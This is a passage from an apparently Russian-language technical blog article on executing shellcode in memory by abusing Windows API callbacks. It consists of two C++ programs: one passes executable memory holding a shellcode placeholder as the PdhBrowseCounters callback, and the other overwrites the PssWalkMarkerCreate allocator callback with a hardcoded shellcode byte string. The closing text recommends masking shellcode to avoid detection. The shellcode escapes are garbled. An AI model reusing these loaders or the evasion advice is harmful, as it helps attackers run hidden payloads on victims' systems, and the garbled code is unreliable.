#include <windows.h> #include <pdh.h> #include <pdhmsg.h> #include <stdio.h> #include <iostream>   #pragma comment(lib, "pdh.lib")       DWORD WINAPI ThreadFunction(LPVOID lpParam) { 	Sleep(5000); 	HWND hwnd = NULL; 	hwnd = FindWindow(NULL, L"s"); 	ShowWindow(hwnd, SW_HIDE); 	if (hwnd) 	{     	HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian       	if (hwndButton)     	{             SendMessage(hwndButton, BM_CLICK, 0, 0);     	}     	else {         	hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English         	if (hwndButton) {                 SendMessage(hwndButton, BM_CLICK, 0, 0);         	}         	else {                 std::cout << "[-] Cant get handle on button" << std::endl;         	}     	} 	} 	return 0; } void ShowCounterBrowser() {       PDH_BROWSE_DLG_CONFIG dlg;       ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG)); 	unsigned char AbcdVar[] = "<SHELLCODE HERE>"; 	PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 	memcpy(addr, AbcdVar, sizeof(AbcdVar)); 	dlg.pCallBack = (CounterPathCallBack)addr; 	dlg.dwCallBackArg = NULL;       dlg.bIncludeInstanceIndex = FALSE;     dlg.bSingleCounterPerAdd = TRUE;     dlg.bSingleCounterPerDialog = TRUE;     dlg.bLocalCountersOnly = FALSE;     dlg.bWildCardInstances = TRUE; 	dlg.bHideDetailBox = TRUE;     dlg.bInitializePath = FALSE;     dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD;     dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1];     dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH; 	HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);   	if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS) 	{         printf("Chosen counter: %s ", dlg.szReturnPathBuffer); 	} 	else 	{         printf("No counter chosen "); 	}   	delete[] dlg.szReturnPathBuffer; }   int main() {     ShowCounterBrowser(); 	return 0; }

Или пусть это будет функция PssCaptureSnapshot(), которая позволяет создавать различные снапшоты процесса. После чего для получения информации о снапшоте можно пробежать по нему с помощью PssWalkMarkerCreate(), которому требуется первым параметром передать структуру PSS_ALLOCATOR, внутри которои? и указываются коллбэки. Сами эти коллбэки нужны для кастомнои? реализации функции? по выделению и освобождению памяти при работе системы со снепшотом, но ничего нам не помешает указать там наш шеллкод:

#include <Windows.h> #include <processsnapshot.h> #include <iostream>   // Function To Rewrite VOID* CALLBACK AllocRoutine(void* Context, DWORD Size) { 	MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION); 	return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size)); }   int main() { 	DWORD ProcessId = GetCurrentProcessId(); 	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); 	if (hProcess == NULL) 	{     	std::cerr << "Could not open the process." << std::endl;     	return 1; 	}   	HPSS SnapshotHandle = NULL; 	PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE; 	DWORD SnapshotFlags = 0; 	DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle); 	if (Result != ERROR_SUCCESS) 	{     	std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl;     	return 1; 	}   	PSS_ALLOCATOR Allocator;       Allocator.AllocRoutine = AllocRoutine;     Allocator.FreeRoutine = NULL; 	unsigned char shellcode[] = "x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b"         "x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2"         "x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b"         "x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04"         "x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0"         "xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2"         "x48x83xecx20x41xffxd6,x00"; 	DWORD old;     VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old);     memcpy(AllocRoutine, shellcode, sizeof(shellcode)); 	HPSSWALK WalkMarkerHandle; 	Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle); 	if (Result != ERROR_SUCCESS) 	{     	std::cerr << "Could not create the walk marker. Error: " << Result << std::endl;     	return 1; 	}     PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle);     CloseHandle(hProcess); 	return 0; }

Как видим, полёт фантазии может быть любым, он не ограничен никем и ничем. Самое главное — не бояться экспериментировать и творить.

Заключение

Подытоживая, можно сделать вывод, что методы исполнения в памяти обычно сводятся либо к использованию особенностей языка программирования, функционал которого позволяет осуществлять операции без взаимодействия с диском, либо же к генерации шеллкода из исполняемой программы. С другой стороны, наличие шеллкода в явном виде — плохая практика, поэтому нужно маскировать его всеми доступными способами, но об этом поговорим в следующий раз.


Источник: habr.com

Комментарии: